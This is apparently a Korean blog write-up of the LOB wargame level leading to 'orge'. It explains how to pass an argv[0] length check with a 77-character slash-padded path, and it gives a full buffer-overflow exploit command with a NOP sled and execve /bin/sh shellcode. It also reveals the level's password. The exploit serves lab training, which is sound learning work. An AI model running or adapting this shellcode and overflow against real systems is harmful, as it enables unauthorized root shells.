문제 풀이에 대한 자세한 설명은 이전 문제들에 모두 되어있으므로 생략한다.
문제 소스 코드이다.
이번 문제에서는 argv[0]의 길이를 체크한다.
argv[0]은 우리가 쉘에서 프로그램을 실행할 때 입력한 명령어가 입력된다.
예를 들면 ./orge, /tmp/dirorge/orge, ~/orge 등이 있다. 이 문자열의 길이를 77자로 맞춰주면 된다.
mkdir /tmp/dirorge
cd /tmp/dirorge
cp ~/orge .
`python -c 'print "."+"/"*72+"orge"'` a
argv[0]을 체크하는 조건문이 통과되는 지 체크하기 위해 다음을 입력해본다.
사진 중 파란 점으로 표시한 부분들만 보면 된다.
python을 통해 .////////orge 형식으로 명령어를 입력하였다.(/는 72개. .과 orge와 합쳐 77 글자가 되기 위하여)
a는 argc를 체크하는 인자를 통과하기 위해 입력해주었다.
stack is still your friend.가 출력된다면, argv[0]이 77 글자라는 것이다.
이제 쉘코드로 넘어가보자.
`python -c 'print "."+"/"*72+"orge"'` `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf "+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
argv[2]에 nop+shellcode를 입력해주었다.
seg fault를 확인할 수 있고, gdb로 core를 확인해보자.
RET 영역을 nop 영역 중 한 곳의 주소로 입력하고 exploit을 시도했더니 성공한 것을 확인할 수 있다.
심볼릭 링크와 함께 exploit을 시도하여 패스워드를 확인할 수 있다.
orge의 패스워드는 timewalker
'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글
LOB troll -> vampire (0) | 2015.11.13 |
---|---|
LOB orge -> troll (0) | 2015.11.13 |
LOB wolfman -> darkelf (0) | 2015.11.13 |
LOB orc -> wolfman (0) | 2015.11.13 |
LOB goblin -> orc (0) | 2015.11.13 |
WRITTEN BY
- hojongs
블로그 옮겼습니다 https://hojongs.github.io/